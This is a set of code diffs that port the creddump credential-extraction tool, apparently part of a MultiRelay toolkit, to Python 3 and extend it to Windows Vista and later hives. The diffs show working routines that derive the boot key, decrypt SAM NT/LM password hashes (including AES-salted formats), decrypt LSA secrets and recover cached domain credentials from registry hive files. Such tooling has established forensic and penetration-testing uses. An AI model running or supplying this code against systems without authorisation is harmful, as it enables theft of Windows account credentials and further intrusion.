'List' : [ 0x4, ['array', 1, ['unsigned long']]], 'List': [0x4, ['array', 1, ['unsigned long']]],
} ], }],
'_CHILD_LIST' : [ 0x8, { '_CHILD_LIST': [0x8, {
'Count' : [ 0x0, ['unsigned long']], 'Count': [0x0, ['unsigned long']],
'List' : [ 0x4, ['unsigned long']], 'List': [0x4, ['unsigned long']],
} ], }],
} }

View File

@@ -21,14 +21,14 @@
from framework.win32.rawreg import * from framework.win32.rawreg import *
from framework.addrspace import HiveFileAddressSpace from framework.addrspace import HiveFileAddressSpace
#from framework.win32.hashdump import get_bootkey from framework.win32.hashdump import get_bootkey
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
from Crypto.Hash import HMAC from Crypto.Hash import HMAC
from Crypto.Cipher import ARC4 from Crypto.Cipher import ARC4, AES
from struct import unpack from struct import unpack
def get_nlkm(secaddr, lsakey): def get_nlkm(secaddr, lsakey, vista):
return get_secret_by_name(secaddr, 'NL$KM', lsakey) return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
def decrypt_hash(edata, nlkm, ch): def decrypt_hash(edata, nlkm, ch):
hmac_md5 = HMAC.new(nlkm,ch) hmac_md5 = HMAC.new(nlkm,ch)
@@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch):
data = rc4.encrypt(edata) data = rc4.encrypt(edata)
return data return data
def decrypt_hash_vista(edata, nlkm, ch):
"""
Based on code from http://lab.mediaservice.net/code/cachedump.rb
"""
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
out = bytearray()
for i in range(0, len(edata), 16):
buf = edata[i : i+16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
out += aes.decrypt(buf)
return out
def parse_cache_entry(cache_data): def parse_cache_entry(cache_data):
(uname_len, domain_len) = unpack("<HH", cache_data[:4]) (uname_len, domain_len) = unpack("<HH", cache_data[:4])
(domain_name_len,) = unpack("<H", cache_data[60:62]) (domain_name_len,) = unpack("<H", cache_data[60:62])
@@ -48,9 +63,9 @@ def parse_cache_entry(cache_data):
def parse_decrypted_cache(dec_data, uname_len, def parse_decrypted_cache(dec_data, uname_len,
domain_len, domain_name_len): domain_len, domain_name_len):
uname_off = 72 uname_off = 72
pad = 2 * ( ( uname_len / 2 ) % 2 ) pad = 2 * ( ( uname_len // 2 ) % 2 )
domain_off = uname_off + uname_len + pad domain_off = uname_off + uname_len + pad
pad = 2 * ( ( domain_len / 2 ) % 2 ) pad = 2 * ( ( domain_len // 2 ) % 2 )
domain_name_off = domain_off + domain_len + pad domain_name_off = domain_off + domain_len + pad
hash = dec_data[:0x10] hash = dec_data[:0x10]
@@ -63,16 +78,16 @@ def parse_decrypted_cache(dec_data, uname_len,
return (username, domain, domain_name, hash) return (username, domain, domain_name, hash)
def dump_hashes(Key, secaddr): def dump_hashes(sysaddr, secaddr, vista):
bootkey = Key bootkey = get_bootkey(sysaddr)
if not bootkey: if not bootkey:
return [] return []
lsakey = get_lsa_key(secaddr, bootkey) lsakey = get_lsa_key(secaddr, bootkey, vista)
if not lsakey: if not lsakey:
return [] return []
nlkm = get_nlkm(secaddr, lsakey) nlkm = get_nlkm(secaddr, lsakey, vista)
if not nlkm: if not nlkm:
return [] return []
@@ -86,7 +101,7 @@ def dump_hashes(Key, secaddr):
hashes = [] hashes = []
for v in values(cache): for v in values(cache):
if v.Name == "NL$Control": continue if v.Name == b"NL$Control": continue
data = v.space.read(v.Data.value, v.DataLength.value) data = v.space.read(v.Data.value, v.DataLength.value)
@@ -97,7 +112,11 @@ def dump_hashes(Key, secaddr):
if uname_len == 0: if uname_len == 0:
continue continue
dec_data = decrypt_hash(enc_data, nlkm, ch) if vista:
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
else:
dec_data = decrypt_hash(enc_data, nlkm, ch)
(username, domain, domain_name, (username, domain, domain_name,
hash) = parse_decrypted_cache(dec_data, uname_len, hash) = parse_decrypted_cache(dec_data, uname_len,
@@ -107,11 +126,10 @@ def dump_hashes(Key, secaddr):
return hashes return hashes
def dump_file_hashes(Key, sechive_fname): def dump_file_hashes(syshive_fname, sechive_fname, vista):
sysaddr = Key sysaddr = HiveFileAddressSpace(syshive_fname)
secaddr = HiveFileAddressSpace(sechive_fname) secaddr = HiveFileAddressSpace(sechive_fname)
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr): for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
d.lower(), dn.lower()) d.lower(), dn.lower()))

View File

@@ -13,82 +13,89 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.win32.rawreg import * from struct import unpack, pack
import binascii
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4, DES, AES
from framework.win32.rawreg import get_root, open_key, values, subkeys
from framework.addrspace import HiveFileAddressSpace from framework.addrspace import HiveFileAddressSpace
try:
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
except ImportError:
pass
from struct import unpack,pack
odd_parity = [ odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
] ]
# Permutation matrix for boot key # Permutation matrix for boot key
p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
# Constants for SAM decrypt algorithm # Constants for SAM decrypt algorithm
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
anum = "0123456789012345678901234567890123456789\0" anum = b"0123456789012345678901234567890123456789\0"
antpassword = "NTPASSWORD\0" antpassword = b"NTPASSWORD\0"
almpassword = "LMPASSWORD\0" almpassword = b"LMPASSWORD\0"
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
def str_to_key(s): def str_to_key(s):
key = [] key = bytearray()
key.append( ord(s[0])>>1 ) key.append(s[0] >> 1)
key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
key.append( ord(s[6])&0x7F ) key.append(s[6] & 0x7F)
for i in range(8): for i in range(8):
key[i] = (key[i]<<1) key[i] = (key[i] << 1)
key[i] = odd_parity[key[i]] key[i] = odd_parity[key[i]]
return "".join(chr(k) for k in key) return key
def sid_to_key(sid): def sid_to_key(sid):
s1 = "" s1 = bytearray()
s1 += chr(sid & 0xFF) s1.append(sid & 0xFF)
s1 += chr((sid>>8) & 0xFF) s1.append((sid >> 8) & 0xFF)
s1 += chr((sid>>16) & 0xFF) s1.append((sid >> 16) & 0xFF)
s1 += chr((sid>>24) & 0xFF) s1.append((sid >> 24) & 0xFF)
s1 += s1[0]; s1.append(s1[0])
s1 += s1[1]; s1.append(s1[1])
s1 += s1[2]; s1.append(s1[2])
s2 = s1[3] + s1[0] + s1[1] + s1[2] s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
s2 += s2[0] + s2[1] + s2[2] s2.append(s2[0])
s2.append(s2[1])
s2.append(s2[2])
return str_to_key(s1), str_to_key(s2)
return str_to_key(s1),str_to_key(s2)
def find_control_set(sysaddr): def find_control_set(sysaddr):
root = get_root(sysaddr) root = get_root(sysaddr)
if not root: if not root:
@@ -99,122 +106,206 @@ def find_control_set(sysaddr):
return 1 return 1
for v in values(csselect): for v in values(csselect):
if v.Name == "Current": return v.Data.value if v.Name == b"Current":
return v.Data.value
return 1
def get_bootkey(sysaddr):
cs = find_control_set(sysaddr)
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
root = get_root(sysaddr)
if not root:
return None
lsa = open_key(root, lsa_base)
if not lsa:
return None
bootkey = []
for lk in lsa_keys:
key = open_key(lsa, [lk])
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
hex_string = class_data.decode('utf-16-le')
hex_data = binascii.unhexlify(hex_string)
for h in hex_data:
bootkey.append(h)
bootkey_scrambled = []
for i in range(len(bootkey)):
bootkey_scrambled.append(bootkey[p[i]])
return bytes(bootkey_scrambled)
def get_hbootkey(samaddr, bootkey): def get_hbootkey(samaddr, bootkey):
sam_account_path = ["SAM", "Domains", "Account"] sam_account_path = ["SAM", "Domains", "Account"]
root = get_root(samaddr) root = get_root(samaddr)
if not root: return None if not root:
return None
sam_account_key = open_key(root, sam_account_path) sam_account_key = open_key(root, sam_account_path)
if not sam_account_key: return None if not sam_account_key:
return None
F = None F = None
for v in values(sam_account_key): for v in values(sam_account_key):
if v.Name == 'F': if v.Name == b'F':
F = samaddr.read(v.Data.value, v.DataLength.value) F = samaddr.read(v.Data.value, v.DataLength.value)
if not F: return None if not F:
return None
md5 = MD5.new() revision = F[0x00]
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) if revision == 2:
rc4_key = md5.digest() md5 = MD5.new()
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key) rc4 = ARC4.new(rc4_key)
hbootkey = rc4.encrypt(F[0x80:0xA0]) hbootkey = rc4.encrypt(F[0x80:0xA0])
return hbootkey return hbootkey
if revision == 3:
iv = F[0x78:0x88]
encryptedHBootKey = F[0x88:0xA8]
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
hbootkey = cipher.decrypt(encryptedHBootKey)
return hbootkey[:16]
print("Unknown revision: %d" % revision)
return None
def get_user_keys(samaddr): def get_user_keys(samaddr):
user_key_path = ["SAM", "Domains", "Account", "Users"] user_key_path = ["SAM", "Domains", "Account", "Users"]
root = get_root(samaddr) root = get_root(samaddr)
if not root: return [] if not root:
return []
user_key = open_key(root, user_key_path) user_key = open_key(root, user_key_path)
if not user_key: return [] if not user_key:
return []
return [k for k in subkeys(user_key) if k.Name != b"Names"]
return [k for k in subkeys(user_key) if k.Name != "Names"]
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
(des_k1,des_k2) = sid_to_key(rid) if enc_hash == "":
return ""
(des_k1, des_k2) = sid_to_key(rid)
d1 = DES.new(des_k1, DES.MODE_ECB) d1 = DES.new(des_k1, DES.MODE_ECB)
d2 = DES.new(des_k2, DES.MODE_ECB) d2 = DES.new(des_k2, DES.MODE_ECB)
md5 = MD5.new() md5 = MD5.new()
md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr) md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
rc4_key = md5.digest() rc4_key = md5.digest()
rc4 = ARC4.new(rc4_key) rc4 = ARC4.new(rc4_key)
obfkey = rc4.encrypt(enc_hash) obfkey = rc4.encrypt(enc_hash)
hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:]) return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
return hash
def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey): def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
# LM Hash if enc_hash == "":
if enc_lm_hash: return ""
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword) (des_k1, des_k2) = sid_to_key(rid)
else: d1 = DES.new(des_k1, DES.MODE_ECB)
lmhash = "" d2 = DES.new(des_k2, DES.MODE_ECB)
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
# NT Hash obfkey = cipher.decrypt(enc_hash)
if enc_nt_hash: return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
else:
nthash = ""
return lmhash,nthash
def get_user_hashes(user_key, hbootkey): def get_user_hashes(user_key, hbootkey):
# pylint: disable=too-many-locals
samaddr = user_key.space samaddr = user_key.space
rid = int(user_key.Name, 16) try:
rid = int(user_key.Name.decode(), 16)
except ValueError:
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
return None, None
V = None V = None
for v in values(user_key): for v in values(user_key):
if v.Name == 'V': if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value) V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None if not V:
return None, None
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC lm_offset_bytes = V[0x9c:0x9c + 4]
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False lmhash = None
nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False nthash = None
enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else "" lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else "" lm_revision = unpack('<B', lm_revision_bytes)[0]
if lm_revision == 1:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
elif lm_revision == 2:
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
nt_revision = unpack('<B', nt_revision_bytes)[0]
if nt_revision == 1:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
elif nt_revision == 2:
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
return lmhash, nthash
return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
def get_user_name(user_key): def get_user_name(user_key):
samaddr = user_key.space samaddr = user_key.space
V = None V = None
for v in values(user_key): for v in values(user_key):
if v.Name == 'V': if v.Name == b'V':
V = samaddr.read(v.Data.value, v.DataLength.value) V = samaddr.read(v.Data.value, v.DataLength.value)
if not V: return None if not V:
return None
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
name_length = unpack("<L", V[0x10:0x14])[0] name_length = unpack("<L", V[0x10:0x14])[0]
username = V[name_offset:name_offset+name_length].decode('utf-16-le') username = V[name_offset:name_offset + name_length].decode('utf-16-le')
return username return username
def dump_hashes(Key, samaddr):
bootkey = Key
hbootkey = get_hbootkey(samaddr,bootkey)
Output = ""
for user in get_user_keys(samaddr):
lmhash,nthash = get_user_hashes(user,hbootkey)
if not lmhash: lmhash = empty_lm
if not nthash: nthash = empty_nt
hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
lmhash.encode('hex'), nthash.encode('hex'))
hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
lmhash.encode('hex'), nthash.encode('hex'))
print hashes
Output += hashesdump
return Output
def dump_file_hashes(Key, samhive_fname): def dump_hashes(sysaddr, samaddr):
bootkey = get_bootkey(sysaddr)
hbootkey = get_hbootkey(samaddr, bootkey)
for user in get_user_keys(samaddr):
lmhash, nthash = get_user_hashes(user, hbootkey)
if not lmhash:
lmhash = empty_lm
if not nthash:
nthash = empty_nt
try:
print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
lmhash.hex(), nthash.hex()))
except ValueError:
pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
def dump_file_hashes(syshive_fname, samhive_fname):
sysaddr = HiveFileAddressSpace(syshive_fname)
samaddr = HiveFileAddressSpace(samhive_fname) samaddr = HiveFileAddressSpace(samhive_fname)
Output = dump_hashes(Key, samaddr) dump_hashes(sysaddr, samaddr)
return Output

View File

@@ -13,26 +13,33 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@contact: bdolangavitt@wesleyan.edu @contact: bdolangavitt@wesleyan.edu
""" """
from framework.win32.rawreg import * from Crypto.Hash import MD5, SHA256
from framework.addrspace import HiveFileAddressSpace from Crypto.Cipher import ARC4, DES, AES
#from framework.win32.hashdump import get_bootkey,str_to_key
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4,DES
def get_lsa_key(secaddr, bootkey): from framework.win32.rawreg import get_root, open_key, subkeys, unpack
from framework.addrspace import HiveFileAddressSpace
from framework.win32.hashdump import get_bootkey, str_to_key
def get_lsa_key(secaddr, bootkey, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) if vista:
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
else:
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
if not enc_reg_key: if not enc_reg_key:
exit(1)
return None return None
enc_reg_value = enc_reg_key.ValueList.List[0] enc_reg_value = enc_reg_key.ValueList.List[0]
@@ -40,48 +47,73 @@ def get_lsa_key(secaddr, bootkey):
return None return None
obf_lsa_key = secaddr.read(enc_reg_value.Data.value, obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
enc_reg_value.DataLength.value) enc_reg_value.DataLength.value)
if not obf_lsa_key: if not obf_lsa_key:
return None return None
md5 = MD5.new() if not vista:
md5.update(bootkey) md5 = MD5.new()
for i in range(1000): md5.update(bootkey)
md5.update(obf_lsa_key[60:76]) for __ in range(1000):
rc4key = md5.digest() md5.update(obf_lsa_key[60:76])
rc4key = md5.digest()
rc4 = ARC4.new(rc4key)
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
lsa_key = lsa_key[0x10:0x20]
else:
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
lsa_key = lsa_key[68:100]
rc4 = ARC4.new(rc4key) return lsa_key
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
return lsa_key[0x10:0x20]
def decrypt_secret(secret, key): def decrypt_secret(secret, key):
"""Python implementation of SystemFunction005. """Python implementation of SystemFunction005.
Decrypts a block of data with DES using given key. Decrypts a block of data with DES using given key.
Note that key can be longer than 7 bytes.""" Note that key can be longer than 7 bytes."""
decrypted_data = '' decrypted_data = bytearray()
j = 0 # key index j = 0 # key index
for i in range(0,len(secret),8): for i in range(0, len(secret), 8):
enc_block = secret[i:i+8] enc_block = secret[i:i + 8]
block_key = key[j:j+7] block_key = key[j:j + 7]
des_key = str_to_key(block_key) des_key = str_to_key(block_key)
des = DES.new(des_key, DES.MODE_ECB) des = DES.new(des_key, DES.MODE_ECB)
decrypted_data += des.decrypt(enc_block) decrypted_data += des.decrypt(enc_block)
j += 7 j += 7
if len(key[j:j+7]) < 7: if len(key[j:j + 7]) < 7:
j = len(key[j:j+7]) j = len(key[j:j + 7])
(dec_data_len,) = unpack("<L", decrypted_data[:4]) (dec_data_len,) = unpack("<L", decrypted_data[:4])
return decrypted_data[8:8+dec_data_len] return decrypted_data[8:8 + dec_data_len]
def get_secret_by_name(secaddr, name, lsakey):
def decrypt_aes(secret, key):
sha = SHA256.new()
sha.update(key)
for _i in range(1, 1000 + 1):
sha.update(secret[28:60])
aeskey = sha.digest()
data = bytearray()
for i in range(60, len(secret), 16):
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
buf = secret[i: i + 16]
if len(buf) < 16:
buf += (16 - len(buf)) * b"\00"
data += aes.decrypt(buf)
return data
def get_secret_by_name(secaddr, name, lsakey, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"]) enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
if not enc_secret_key: if not enc_secret_key:
return None return None
@@ -91,47 +123,57 @@ def get_secret_by_name(secaddr, name, lsakey):
return None return None
enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value) enc_secret_value.DataLength.value)
if not enc_secret: if not enc_secret:
return None return None
return decrypt_secret(enc_secret[0xC:], lsakey) if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
def get_secrets(Key, secaddr): return secret
def get_secrets(sysaddr, secaddr, vista):
root = get_root(secaddr) root = get_root(secaddr)
if not root: if not root:
return None return None
bootkey = Key bootkey = get_bootkey(sysaddr)
lsakey = get_lsa_key(secaddr, bootkey) lsakey = get_lsa_key(secaddr, bootkey, vista)
secrets_key = open_key(root, ["Policy", "Secrets"]) secrets_key = open_key(root, ["Policy", "Secrets"])
if not secrets_key: if not secrets_key:
print "no secret"
return None return None
secrets = {} secrets = {}
for key in subkeys(secrets_key): for key in subkeys(secrets_key):
sec_val_key = open_key(key, ["CurrVal"]) sec_val_key = open_key(key, ["CurrVal"])
if not sec_val_key: if not sec_val_key:
continue continue
enc_secret_value = sec_val_key.ValueList.List[0] enc_secret_value = sec_val_key.ValueList.List[0]
if not enc_secret_value: if not enc_secret_value:
continue continue
enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret = secaddr.read(enc_secret_value.Data.value,
enc_secret_value.DataLength.value) enc_secret_value.DataLength.value)
if not enc_secret: if not enc_secret:
continue continue
secret = decrypt_secret(enc_secret[0xC:], lsakey) if vista:
secret = decrypt_aes(enc_secret, lsakey)
else:
secret = decrypt_secret(enc_secret[0xC:], lsakey)
secrets[key.Name] = secret secrets[key.Name] = secret
return secrets return secrets
def get_file_secrets(Key, secfile):
def get_file_secrets(sysfile, secfile, vista):
sysaddr = HiveFileAddressSpace(sysfile)
secaddr = HiveFileAddressSpace(secfile) secaddr = HiveFileAddressSpace(secfile)
return get_secrets(Key, secaddr) return get_secrets(sysaddr, secaddr, vista)

View File

@@ -23,9 +23,9 @@ from framework.newobj import Obj,Pointer
from struct import unpack from struct import unpack
ROOT_INDEX = 0x20 ROOT_INDEX = 0x20
LH_SIG = unpack("<H","lh")[0] LH_SIG = unpack("<H",b"lh")[0]
LF_SIG = unpack("<H","lf")[0] LF_SIG = unpack("<H",b"lf")[0]
RI_SIG = unpack("<H","ri")[0] RI_SIG = unpack("<H",b"ri")[0]
def get_root(address_space): def get_root(address_space):
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space) return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
@@ -34,11 +34,11 @@ def open_key(root, key):
if key == []: if key == []:
return root return root
keyname = key.pop(0) keyname = key.pop(0).encode()
for s in subkeys(root): for s in subkeys(root):
if s.Name.upper() == keyname.upper(): if s.Name.upper() == keyname.upper():
return open_key(s, key) return open_key(s, key)
print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name) print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
return None return None
def subkeys(key,stable=True): def subkeys(key,stable=True):

44
tools/MultiRelay/creddump/lsadump.py Normal file → Executable file
View File

@@ -15,6 +15,8 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with creddump. If not, see <http://www.gnu.org/licenses/>. # along with creddump. If not, see <http://www.gnu.org/licenses/>.
# pylint: disable=invalid-name,missing-docstring
""" """
@author: Brendan Dolan-Gavitt @author: Brendan Dolan-Gavitt
@license: GNU General Public License 2.0 or later @license: GNU General Public License 2.0 or later
@@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets
# Hex dump code from # Hex dump code from
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
def showUsage():
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
print("\nExample (Windows Vista/7):")
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
print("\nExample (Windows XP):")
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
def dump(src, length=8): def dump(src, length=8):
N=0; result='' N = 0
result = ''
while src: while src:
s,src = src[:length],src[length:] s, src = src[:length], src[length:]
hexa = ' '.join(["%02X"%ord(x) for x in s]) hexa = ' '.join(["%02X" % x for x in s])
s = s.translate(FILTER) s = ''.join(FILTER[b] for b in s)
result += "%04X %-*s %s\n" % (N, length*3, hexa, s) result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
